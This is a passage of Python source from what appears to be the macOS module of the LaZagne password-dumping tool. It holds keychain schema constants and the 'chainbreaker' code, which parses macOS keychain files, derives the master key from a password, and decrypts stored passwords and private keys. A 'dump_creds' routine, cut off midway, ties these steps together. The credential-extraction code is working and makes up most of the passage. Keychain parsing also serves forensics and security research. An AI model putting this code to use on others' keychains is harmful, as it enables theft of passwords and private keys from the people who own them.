CSSM_KEYUSE_DECRYPT = 0x00000002 CSSM_KEYUSE_SIGN = 0x00000004 CSSM_KEYUSE_VERIFY = 0x00000008 CSSM_KEYUSE_SIGN_RECOVER = 0x00000010 CSSM_KEYUSE_VERIFY_RECOVER = 0x00000020 CSSM_KEYUSE_WRAP = 0x00000040 CSSM_KEYUSE_UNWRAP = 0x00000080 CSSM_KEYUSE_DERIVE = 0x00000100 #################### ############ CERT TYPE ############## CERT_TYPE = { 0x00: 'CSSM_CERT_UNKNOWN', 0x01: 'CSSM_CERT_X_509v1', 0x02: 'CSSM_CERT_X_509v2', 0x03: 'CSSM_CERT_X_509v3', 0x04: 'CSSM_CERT_PGP', 0x05: 'CSSM_CERT_SPKI', 0x06: 'CSSM_CERT_SDSIv1', 0x08: 'CSSM_CERT_Intel', 0x09: 'CSSM_CERT_X_509_ATTRIBUTE', 0x0A: 'CSSM_CERT_X9_ATTRIBUTE', 0x0C: 'CSSM_CERT_ACL_ENTRY', 0x7FFE: 'CSSM_CERT_MULTIPLE', 0x7FFF: 'CSSM_CERT_LAST', 0x8000: 'CSSM_CL_CUSTOM_CERT_TYPE' } #################################### ########### CERT ENCODING ############# CERT_ENCODING = { 0x00: 'CSSM_CERT_ENCODING_UNKNOWN', 0x01: 'CSSM_CERT_ENCODING_CUSTOM', 0x02: 'CSSM_CERT_ENCODING_BER', 0x03: 'CSSM_CERT_ENCODING_DER', 0x04: 'CSSM_CERT_ENCODING_NDR', 0x05: 'CSSM_CERT_ENCODING_SEXPR', 0x06: 'CSSM_CERT_ENCODING_PGP', 0x7FFE: 'CSSM_CERT_ENCODING_MULTIPLE', 0x7FFF: 'CSSM_CERT_ENCODING_LAST' } STD_APPLE_ADDIN_MODULE = { '{87191ca0-0fc9-11d4-849a-000502b52122}': 'CSSM itself', '{87191ca1-0fc9-11d4-849a-000502b52122}': 'File based DL (aka "Keychain DL")', '{87191ca2-0fc9-11d4-849a-000502b52122}': 'Core CSP (local space)', '{87191ca3-0fc9-11d4-849a-000502b52122}': 'Secure CSP/DL (aka "Keychain CSPDL")', '{87191ca4-0fc9-11d4-849a-000502b52122}': 'X509 Certificate CL', '{87191ca5-0fc9-11d4-849a-000502b52122}': 'X509 Certificate TP', '{87191ca6-0fc9-11d4-849a-000502b52122}': 'DLAP/OpenDirectory access DL', '{87191ca7-0fc9-11d4-849a-000502b52122}': 'TP for ".mac" related policies', '{87191ca8-0fc9-11d4-849a-000502b52122}': 'Smartcard CSP/DL', '{87191ca9-0fc9-11d4-849a-000502b52122}': 'DL for ".mac" certificate access' } SECURE_STORAGE_GROUP = 'ssgp' AUTH_TYPE = { 'ntlm': 'kSecAuthenticationTypeNTLM', 'msna': 'kSecAuthenticationTypeMSN', 'dpaa': 'kSecAuthenticationTypeDPA', 'rpaa': 'kSecAuthenticationTypeRPA', 'http': 'kSecAuthenticationTypeHTTPBasic', 'httd': 'kSecAuthenticationTypeHTTPDigest', 'form': 'kSecAuthenticationTypeHTMLForm', 'dflt': 'kSecAuthenticationTypeDefault', '': 'kSecAuthenticationTypeAny', '\x00\x00\x00\x00': 'kSecAuthenticationTypeAny' } PROTOCOL_TYPE = { 'ftp ': 'kSecProtocolTypeFTP', 'ftpa': 'kSecProtocolTypeFTPAccount', 'http': 'kSecProtocolTypeHTTP', 'irc ': 'kSecProtocolTypeIRC', 'nntp': 'kSecProtocolTypeNNTP', 'pop3': 'kSecProtocolTypePOP3', 'smtp': 'kSecProtocolTypeSMTP', 'sox ': 'kSecProtocolTypeSOCKS', 'imap': 'kSecProtocolTypeIMAP', 'ldap': 'kSecProtocolTypeLDAP', 'atlk': 'kSecProtocolTypeAppleTalk', 'afp ': 'kSecProtocolTypeAFP', 'teln': 'kSecProtocolTypeTelnet', 'ssh ': 'kSecProtocolTypeSSH', 'ftps': 'kSecProtocolTypeFTPS', 'htps': 'kSecProtocolTypeHTTPS', 'htpx': 'kSecProtocolTypeHTTPProxy', 'htsx': 'kSecProtocolTypeHTTPSProxy', 'ftpx': 'kSecProtocolTypeFTPProxy', 'cifs': 'kSecProtocolTypeCIFS', 'smb ': 'kSecProtocolTypeSMB', 'rtsp': 'kSecProtocolTypeRTSP', 'rtsx': 'kSecProtocolTypeRTSPProxy', 'daap': 'kSecProtocolTypeDAAP', 'eppc': 'kSecProtocolTypeEPPC', 'ipp ': 'kSecProtocolTypeIPP', 'ntps': 'kSecProtocolTypeNNTPS', 'ldps': 'kSecProtocolTypeLDAPS', 'tels': 'kSecProtocolTypeTelnetS', 'imps': 'kSecProtocolTypeIMAPS', 'ircs': 'kSecProtocolTypeIRCS', 'pops': 'kSecProtocolTypePOP3S', 'cvsp': 'kSecProtocolTypeCVSpserver', 'svn ': 'kSecProtocolTypeCVSpserver', 'AdIM': 'kSecProtocolTypeAdiumMessenger', '\x00\x00\x00\x00': 'kSecProtocolTypeAny' } # This is somewhat gross: we define a bunch of module-level constants based on # the SecKeychainItem.h defines (FourCharCodes) by passing them through # struct.unpack and converting them to ctypes.c_long() since we'll never use # them for non-native APIs CARBON_DEFINES = { 'cdat': 'kSecCreationDateItemAttr', 'mdat': 'kSecModDateItemAttr', 'desc': 'kSecDescriptionItemAttr', 'icmt': 'kSecCommentItemAttr', 'crtr': 'kSecCreatorItemAttr', 'type': 'kSecTypeItemAttr', 'scrp': 'kSecScriptCodeItemAttr', 'labl': 'kSecLabelItemAttr', 'invi': 'kSecInvisibleItemAttr', 'nega': 'kSecNegativeItemAttr', 'cusi': 'kSecCustomIconItemAttr', 'acct': 'kSecAccountItemAttr', 'svce': 'kSecServiceItemAttr', 'gena': 'kSecGenericItemAttr', 'sdmn': 'kSecSecurityDomainItemAttr', 'srvr': 'kSecServerItemAttr', 'atyp': 'kSecAuthenticationTypeItemAttr', 'port': 'kSecPortItemAttr', 'path': 'kSecPathItemAttr', 'vlme': 'kSecVolumeItemAttr', 'addr': 'kSecAddressItemAttr', 'ssig': 'kSecSignatureItemAttr', 'ptcl': 'kSecProtocolItemAttr', 'ctyp': 'kSecCertificateType', 'cenc': 'kSecCertificateEncoding', 'crtp': 'kSecCrlType', 'crnc': 'kSecCrlEncoding', 'alis': 'kSecAlias', 'inet': 'kSecInternetPasswordItemClass', 'genp': 'kSecGenericPasswordItemClass', 'ashp': 'kSecAppleSharePasswordItemClass', CSSM_DL_DB_RECORD_X509_CERTIFICATE: 'kSecCertificateItemClass' } ================================================ FILE: Mac/lazagne/softwares/system/chainbreaker_module/__init__.py ================================================ ================================================ FILE: Mac/lazagne/softwares/system/chainbreaker_module/chainbreaker.py ================================================ #!/usr/bin/python # Author : n0fate # E-Mail rapfer@gmail.com, n0fate@n0fate.com # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or (at # your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # import struct import datetime from binascii import unhexlify from ctypes import * from .pbkdf2 import pbkdf2 from .Schema import * from lazagne.config.write_output import print_debug from lazagne.config.crypto.pyDes import * ATOM_SIZE = 4 SIZEOFKEYCHAINTIME = 16 KEYCHAIN_SIGNATURE = "kych" BLOCKSIZE = 8 KEYLEN = 24 class _APPL_DB_HEADER(BigEndianStructure): _fields_ = [ ("Signature", c_char * 4), ("Version", c_int), ("HeaderSize", c_int), ("SchemaOffset", c_int), ("AuthOffset", c_int) ] class _APPL_DB_SCHEMA(BigEndianStructure): _fields_ = [ ("SchemaSize", c_int), ("TableCount", c_int) ] class _KEY_BLOB_REC_HEADER(BigEndianStructure): _fields_ = [ ("RecordSize", c_uint), ("RecordCount", c_uint), ("Dummy", c_char * 0x7C), ] class _GENERIC_PW_HEADER(BigEndianStructure): _fields_ = [ ("RecordSize", c_uint), ("RecordNumber", c_uint), ("Unknown2", c_uint), ("Unknown3", c_uint), ("SSGPArea", c_uint), ("Unknown5", c_uint), ("CreationDate", c_uint), ("ModDate", c_uint), ("Description", c_uint), ("Comment", c_uint), ("Creator", c_uint), ("Type", c_uint), ("ScriptCode", c_uint), ("PrintName", c_uint), ("Alias", c_uint), ("Invisible", c_uint), ("Negative", c_uint), ("CustomIcon", c_uint), ("Protected", c_uint), ("Account", c_uint), ("Service", c_uint), ("Generic", c_uint) ] class _APPLE_SHARE_HEADER(BigEndianStructure): _fields_ = [ ("RecordSize", c_uint), ("RecordNumber", c_uint), ("Unknown2", c_uint), ("Unknown3", c_uint), ("SSGPArea", c_uint), ("Unknown5", c_uint), ("CreationDate", c_uint), ("ModDate", c_uint), ("Description", c_uint), ("Comment", c_uint), ("Creator", c_uint), ("Type", c_uint), ("ScriptCode", c_uint), ("PrintName", c_uint), ("Alias", c_uint), ("Invisible", c_uint), ("Negative", c_uint), ("CustomIcon", c_uint), ("Protected", c_uint), ("Account", c_uint), ("Volume", c_uint), ("Server", c_uint), ("Protocol", c_uint), ("AuthType", c_uint), ("Address", c_uint), ("Signature", c_uint) ] class _INTERNET_PW_HEADER(BigEndianStructure): _fields_ = [ ("RecordSize", c_uint), ("RecordNumber", c_uint), ("Unknown2", c_uint), ("Unknown3", c_uint), ("SSGPArea", c_uint), ("Unknown5", c_uint), ("CreationDate", c_uint), ("ModDate", c_uint), ("Description", c_uint), ("Comment", c_uint), ("Creator", c_uint), ("Type", c_uint), ("ScriptCode", c_uint), ("PrintName", c_uint), ("Alias", c_uint), ("Invisible", c_uint), ("Negative", c_uint), ("CustomIcon", c_uint), ("Protected", c_uint), ("Account", c_uint), ("SecurityDomain", c_uint), ("Server", c_uint), ("Protocol", c_uint), ("AuthType", c_uint), ("Port", c_uint), ("Path", c_uint) ] class _X509_CERT_HEADER(BigEndianStructure): _fields_ = [ ("RecordSize", c_uint), ("RecordNumber", c_uint), ("Unknown1", c_uint), ("Unknown2", c_uint), ("CertSize", c_uint), ("Unknown3", c_uint), ("CertType", c_uint), ("CertEncoding", c_uint), ("PrintName", c_uint), ("Alias", c_uint), ("Subject", c_uint), ("Issuer", c_uint), ("SerialNumber", c_uint), ("SubjectKeyIdentifier", c_uint), ("PublicKeyHash", c_uint) ] # http://www.opensource.apple.com/source/Security/Security-55179.1/include/security_cdsa_utilities/KeySchema.h # http://www.opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-36940/lib/SecKey.h class _SECKEY_HEADER(BigEndianStructure): _fields_ = [ ("RecordSize", c_uint32), ("RecordNumber", c_uint32), ("Unknown1", c_uint32), ("Unknown2", c_uint32), ("BlobSize", c_uint32), ("Unknown3", c_uint32), ("KeyClass", c_uint32), ("PrintName", c_uint32), ("Alias", c_uint32), ("Permanent", c_uint32), ("Private", c_uint32), ("Modifiable", c_uint32), ("Label", c_uint32), ("ApplicationTag", c_uint32), ("KeyCreator", c_uint32), ("KeyType", c_uint32), ("KeySizeInBits", c_uint32), ("EffectiveKeySize", c_uint32), ("StartDate", c_uint32), ("EndDate", c_uint32), ("Sensitive", c_uint32), ("AlwaysSensitive", c_uint32), ("Extractable", c_uint32), ("NeverExtractable", c_uint32), ("Encrypt", c_uint32), ("Decrypt", c_uint32), ("Derive", c_uint32), ("Sign", c_uint32), ("Verify", c_uint32), ("SignRecover", c_uint32), ("VerifyRecover", c_uint32), ("Wrap", c_uint32), ("UnWrap", c_uint32) ] class _TABLE_HEADER(BigEndianStructure): _fields_ = [ ("TableSize", c_uint), ("TableId", c_uint), ("RecordCount", c_uint), ("Records", c_uint), ("IndexesOffset", c_uint), ("FreeListHead", c_uint), ("RecordNumbersCount", c_uint), ] class _SCHEMA_INFO_RECORD(BigEndianStructure): _fields_ = [ ("RecordSize", c_uint), ("RecordNumber", c_uint), ("Unknown2", c_uint), ("Unknown3", c_uint), ("Unknown4", c_uint), ("Unknown5", c_uint), ("Unknown6", c_uint), ("RecordType", c_uint), ("DataSize", c_uint), ("Data", c_uint) ] class _COMMON_BLOB(BigEndianStructure): _fields_ = [ ("magic", c_uint32), ("blobVersion", c_uint32) ] # _ENCRYPTED_BLOB_METADATA class _KEY_BLOB(BigEndianStructure): _fields_ = [ ("CommonBlob", _COMMON_BLOB), ("startCryptoBlob", c_uint32), ("totalLength", c_uint32), ("iv", c_ubyte * 8) ] class _DB_PARAMETERS(BigEndianStructure): _fields_ = [ ("idleTimeout", c_uint32), # uint32 ("lockOnSleep", c_uint32) # uint8 ] class _DB_BLOB(BigEndianStructure): _fields_ = [ ("CommonBlob", _COMMON_BLOB), ("startCryptoBlob", c_uint32), ("totalLength", c_uint32), ("randomSignature", c_ubyte * 16), ("sequence", c_uint32), ("params", _DB_PARAMETERS), ("salt", c_ubyte * 20), ("iv", c_ubyte * 8), ("blobSignature", c_ubyte * 20) ] class _SSGP(BigEndianStructure): _fields_ = [ ("magic", c_char * 4), ("label", c_ubyte * 16), ("iv", c_ubyte * 8) ] def _memcpy(buf, fmt): return cast(c_char_p(buf), POINTER(fmt)).contents class KeyChain(): def __init__(self, filepath): self.filepath = filepath self.fbuf = '' def open(self): try: fhandle = open(self.filepath, 'rb') except Exception: return False self.fbuf = fhandle.read() if len(self.fbuf): fhandle.close() return True return False def checkValidKeychain(self): if self.fbuf[0:4] != KEYCHAIN_SIGNATURE: return False return True # get apple DB Header def getHeader(self): header = _memcpy(self.fbuf[:sizeof(_APPL_DB_HEADER)], _APPL_DB_HEADER) return header def getSchemaInfo(self, offset): table_list = [] # schema_info = struct.unpack(APPL_DB_SCHEMA, self.fbuf[offset:offset + APPL_DB_SCHEMA_SIZE]) _schemainfo = _memcpy(self.fbuf[offset:offset + sizeof(_APPL_DB_SCHEMA)], _APPL_DB_SCHEMA) for i in xrange(_schemainfo.TableCount): BASE_ADDR = sizeof(_APPL_DB_HEADER) + sizeof(_APPL_DB_SCHEMA) table_list.append( struct.unpack('>I', self.fbuf[BASE_ADDR + (ATOM_SIZE * i):BASE_ADDR + (ATOM_SIZE * i) + ATOM_SIZE])[0]) return _schemainfo, table_list def getTable(self, offset): record_list = [] BASE_ADDR = sizeof(_APPL_DB_HEADER) + offset TableMetaData = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR + sizeof(_TABLE_HEADER)], _TABLE_HEADER) RECORD_OFFSET_BASE = BASE_ADDR + sizeof(_TABLE_HEADER) record_count = 0 offset = 0 while TableMetaData.RecordCount != record_count: RecordOffset = struct.unpack('>I', self.fbuf[ RECORD_OFFSET_BASE + (ATOM_SIZE * offset):RECORD_OFFSET_BASE + ( ATOM_SIZE * offset) + ATOM_SIZE])[0] # if len(record_list) >= 1: # if record_list[len(record_list)-1] >= RecordOffset: # continue if (RecordOffset != 0x00) and (RecordOffset % 4 == 0): record_list.append(RecordOffset) # print ' [-] Record Offset: 0x%.8x'%RecordOffset record_count += 1 offset += 1 return TableMetaData, record_list def getTablenametoList(self, recordList, tableList): TableDic = {} for count in xrange(len(recordList)): tableMeta, GenericList = self.getTable(tableList[count]) TableDic[tableMeta.TableId] = count # extract valid table list return len(recordList), TableDic def getKeyblobRecord(self, base_addr, offset): BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset KeyBlobRecHeader = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR + sizeof(_KEY_BLOB_REC_HEADER)], _KEY_BLOB_REC_HEADER) record = self.fbuf[ BASE_ADDR + sizeof(_KEY_BLOB_REC_HEADER):BASE_ADDR + KeyBlobRecHeader.RecordSize] # password data area KeyBlobRecord = _memcpy(record[:+sizeof(_KEY_BLOB)], _KEY_BLOB) if SECURE_STORAGE_GROUP != str(record[KeyBlobRecord.totalLength + 8:KeyBlobRecord.totalLength + 8 + 4]): return '', '', '', 1 CipherLen = KeyBlobRecord.totalLength - KeyBlobRecord.startCryptoBlob if CipherLen % BLOCKSIZE != 0: print_debug('ERROR', "Bad ciphertext len") return '', '', '', 1 ciphertext = record[KeyBlobRecord.startCryptoBlob:KeyBlobRecord.totalLength] # match data, keyblob_ciphertext, Initial Vector, success return record[KeyBlobRecord.totalLength + 8:KeyBlobRecord.totalLength + 8 + 20], ciphertext, KeyBlobRecord.iv, 0 def getGenericPWRecord(self, base_addr, offset): record = [] BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR + sizeof(_GENERIC_PW_HEADER)], _GENERIC_PW_HEADER) Buffer = self.fbuf[BASE_ADDR + sizeof( _GENERIC_PW_HEADER):BASE_ADDR + RecordMeta.RecordSize] # record_meta[0] => record size if RecordMeta.SSGPArea != 0: record.append(Buffer[:RecordMeta.SSGPArea]) else: record.append('') record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.CreationDate & 0xFFFFFFFE)) record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.ModDate & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Description & 0xFFFFFFFE)) record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Creator & 0xFFFFFFFE)) record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Type & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Alias & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Account & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Service & 0xFFFFFFFE)) return record def getInternetPWRecord(self, base_addr, offset): record = [] BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR + sizeof(_INTERNET_PW_HEADER)], _INTERNET_PW_HEADER) Buffer = self.fbuf[BASE_ADDR + sizeof(_INTERNET_PW_HEADER):BASE_ADDR + RecordMeta.RecordSize] if RecordMeta.SSGPArea != 0: record.append(Buffer[:RecordMeta.SSGPArea]) else: record.append('') record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.CreationDate & 0xFFFFFFFE)) record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.ModDate & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Description & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Comment & 0xFFFFFFFE)) record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Creator & 0xFFFFFFFE)) record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Type & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Alias & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Protected & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Account & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.SecurityDomain & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Server & 0xFFFFFFFE)) record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Protocol & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.AuthType & 0xFFFFFFFE)) record.append(self.getInt(BASE_ADDR, RecordMeta.Port & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Path & 0xFFFFFFFE)) return record def getx509Record(self, base_addr, offset): record = [] BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR + sizeof(_X509_CERT_HEADER)], _X509_CERT_HEADER) x509Certificate = self.fbuf[BASE_ADDR + sizeof(_X509_CERT_HEADER):BASE_ADDR + sizeof( _X509_CERT_HEADER) + RecordMeta.CertSize] record.append(self.getInt(BASE_ADDR, RecordMeta.CertType & 0xFFFFFFFE)) # Cert Type record.append(self.getInt(BASE_ADDR, RecordMeta.CertEncoding & 0xFFFFFFFE)) # Cert Encoding record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Alias & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Subject & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Issuer & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.SerialNumber & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.SubjectKeyIdentifier & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.PublicKeyHash & 0xFFFFFFFE)) record.append(x509Certificate) return record def getKeyRecord(self, base_addr, offset): ## PUBLIC and PRIVATE KEY record = [] BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR + sizeof(_SECKEY_HEADER)], _SECKEY_HEADER) KeyBlob = self.fbuf[BASE_ADDR + sizeof(_SECKEY_HEADER):BASE_ADDR + sizeof(_SECKEY_HEADER) + RecordMeta.BlobSize] record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Label & 0xFFFFFFFE)) record.append(self.getInt(BASE_ADDR, RecordMeta.KeyClass & 0xFFFFFFFE)) record.append(self.getInt(BASE_ADDR, RecordMeta.Private & 0xFFFFFFFE)) record.append(self.getInt(BASE_ADDR, RecordMeta.KeyType & 0xFFFFFFFE)) record.append(self.getInt(BASE_ADDR, RecordMeta.KeySizeInBits & 0xFFFFFFFE)) record.append(self.getInt(BASE_ADDR, RecordMeta.EffectiveKeySize & 0xFFFFFFFE)) record.append(self.getInt(BASE_ADDR, RecordMeta.Extractable & 0xFFFFFFFE)) record.append(str(self.getLV(BASE_ADDR, RecordMeta.KeyCreator & 0xFFFFFFFE)).split('\x00')[0]) IV, Key = self.getEncryptedDatainBlob(KeyBlob) record.append(IV) record.append(Key) return record def getEncryptedDatainBlob(self, BlobBuf): KeyBlob = _memcpy(BlobBuf[:sizeof(_KEY_BLOB)], _KEY_BLOB) if KeyBlob.CommonBlob.magic != 0xFADE0711: return '', '' KeyData = BlobBuf[KeyBlob.startCryptoBlob:KeyBlob.totalLength] return KeyBlob.iv, KeyData # IV, Encrypted Data def getKeychainTime(self, BASE_ADDR, pCol): if pCol <= 0: return '' else: data = str(struct.unpack('>16s', self.fbuf[BASE_ADDR + pCol:BASE_ADDR + pCol + struct.calcsize('>16s')])[0]) return str(datetime.datetime.strptime(data.strip('\x00'), '%Y%m%d%H%M%SZ')) def getInt(self, BASE_ADDR, pCol): if pCol <= 0: return 0 else: return struct.unpack('>I', self.fbuf[BASE_ADDR + pCol:BASE_ADDR + pCol + 4])[0] def getFourCharCode(self, BASE_ADDR, pCol): if pCol <= 0: return '' else: return struct.unpack('>4s', self.fbuf[BASE_ADDR + pCol:BASE_ADDR + pCol + 4])[0] def getLV(self, BASE_ADDR, pCol): if pCol <= 0: return '' str_length = struct.unpack('>I', self.fbuf[BASE_ADDR + pCol:BASE_ADDR + pCol + 4])[0] # 4byte arrangement if (str_length % 4) == 0: real_str_len = (str_length / 4) * 4 else: real_str_len = ((str_length / 4) + 1) * 4 unpack_value = '>' + str(real_str_len) + 's' try: data = struct.unpack(unpack_value, self.fbuf[BASE_ADDR + pCol + 4:BASE_ADDR + pCol + 4 + real_str_len])[0] except struct.error: # print 'Length is too long : %d'%real_str_len return '' return data def getAppleshareRecord(self, base_addr, offset): record = [] BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR + sizeof(_APPLE_SHARE_HEADER)], _APPLE_SHARE_HEADER) Buffer = self.fbuf[BASE_ADDR + sizeof(_APPLE_SHARE_HEADER):BASE_ADDR + RecordMeta.RecordSize] if RecordMeta.SSGPArea != 0: record.append(Buffer[:RecordMeta.SSGPArea]) else: record.append('') record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.CreationDate & 0xFFFFFFFE)) record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.ModDate & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Description & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Comment & 0xFFFFFFFE)) record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Creator & 0xFFFFFFFE)) record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Type & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Alias & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Protected & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Account & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Volume & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Server & 0xFFFFFFFE)) record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Protocol & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Address & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Signature & 0xFFFFFFFE)) return record ## decrypted dbblob area ## Documents : http://www.opensource.apple.com/source/securityd/securityd-55137.1/doc/BLOBFORMAT ## http://www.opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-36620/lib/StorageManager.cpp def SSGPDecryption(self, ssgp, dbkey): SSGP = _memcpy(ssgp, _SSGP) plain = kcdecrypt(dbkey, SSGP.iv, ssgp[sizeof(_SSGP):]) return plain # Documents : http://www.opensource.apple.com/source/securityd/securityd-55137.1/doc/BLOBFORMAT # source : http://www.opensource.apple.com/source/libsecurity_cdsa_client/libsecurity_cdsa_client-36213/lib/securestorage.cpp # magicCmsIV : http://www.opensource.apple.com/source/Security/Security-28/AppleCSP/AppleCSP/wrapKeyCms.cpp def KeyblobDecryption(self, encryptedblob, iv, dbkey): magicCmsIV = unhexlify('4adda22c79e82105') plain = kcdecrypt(dbkey, magicCmsIV, encryptedblob) if plain.__len__() == 0: return '' # now we handle the unwrapping. we need to take the first 32 bytes, # and reverse them. revplain = '' for i in range(32): revplain += plain[31 - i] # now the real key gets found. */ plain = kcdecrypt(dbkey, iv, revplain) keyblob = plain[4:] if len(keyblob) != KEYLEN: # raise "Bad decrypted keylen!" return '' return keyblob # test code # http://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55044/lib/KeyItem.cpp def PrivateKeyDecryption(self, encryptedblob, iv, dbkey): magicCmsIV = unhexlify('4adda22c79e82105') plain = kcdecrypt(dbkey, magicCmsIV, encryptedblob) if plain.__len__() == 0: return '', '' # now we handle the unwrapping. we need to take the first 32 bytes, # and reverse them. revplain = '' for i in range(len(plain)): revplain += plain[len(plain) - 1 - i] # now the real key gets found. */ plain = kcdecrypt(dbkey, iv, revplain) Keyname = plain[:12] # Copied Buffer when user click on right and copy a key on Keychain Access keyblob = plain[12:] return Keyname, keyblob # Documents : http://www.opensource.apple.com/source/securityd/securityd-55137.1/doc/BLOBFORMAT def generateMasterKey(self, pw, symmetrickey_offset): base_addr = sizeof(_APPL_DB_HEADER) + symmetrickey_offset + 0x38 # header dbblob = _memcpy(self.fbuf[base_addr:base_addr + sizeof(_DB_BLOB)], _DB_BLOB) masterkey = pbkdf2(pw, str(bytearray(dbblob.salt)), 1000, KEYLEN) return masterkey # find DBBlob and extract Wrapping key def findWrappingKey(self, master, symmetrickey_offset): base_addr = sizeof(_APPL_DB_HEADER) + symmetrickey_offset + 0x38 dbblob = _memcpy(self.fbuf[base_addr:base_addr + sizeof(_DB_BLOB)], _DB_BLOB) # get cipher text area ciphertext = self.fbuf[base_addr + dbblob.startCryptoBlob:base_addr + dbblob.totalLength] # decrypt the key plain = kcdecrypt(master, dbblob.iv, ciphertext) if plain.__len__() < KEYLEN: return '' dbkey = plain[:KEYLEN] # return encrypted wrapping key return dbkey # SOURCE : extractkeychain.py def kcdecrypt(key, iv, data): if len(data) == 0: # print>>stderr, "FileSize is 0" return '' if len(data) % BLOCKSIZE != 0: return '' cipher = triple_des(key, CBC, str(bytearray(iv))) # the line below is for pycrypto instead # cipher = DES3.new( key, DES3.MODE_CBC, iv ) plain = cipher.decrypt(data) # now check padding pad = ord(plain[-1]) if pad > 8: # print>> stderr, "Bad padding byte. You probably have a wrong password" return '' for z in plain[-pad:]: if ord(z) != pad: # print>> stderr, "Bad padding. You probably have a wrong password" return '' plain = plain[:-pad] return plain def dump_creds(keychain_file, password=None, key=None): keychain = KeyChain(keychain_file) if keychain.open() is False: print_debug('ERROR', '%s Open Failed' % keychain_file) return False KeychainHeader = keychain.getHeader() if KeychainHeader.Signature != KEYCHAIN_SIGNATURE: print_debug('ERROR', 'Invalid Keychain Format') return False SchemaInfo, TableList = keychain.getSchemaInfo(KeychainHeader.SchemaOffset) TableMetadata, RecordList = keychain.getTable(TableList[0]) tableCount, tableEnum = keychain.getTablenametoList(RecordList, TableList) # generate database key if password: masterkey = keychain.generateMasterKey(password, TableList[tableEnum[CSSM_DL_DB_RECORD_METADATA]]) dbkey = keychain.findWrappingKey(masterkey, TableList[tableEnum[CSSM_DL_DB_RECORD_METADATA]]) else: dbkey = keychain.findWrappingKey(unhexlify(key), TableList[tableEnum[CSSM_DL_DB_RECORD_METADATA]]) # DEBUG print_debug('DEBUG', 'DB Key: %s' % str(repr(dbkey))) key_list = {} # keyblob list # get symmetric key blob print_debug('DEBUG', 'Symmetric 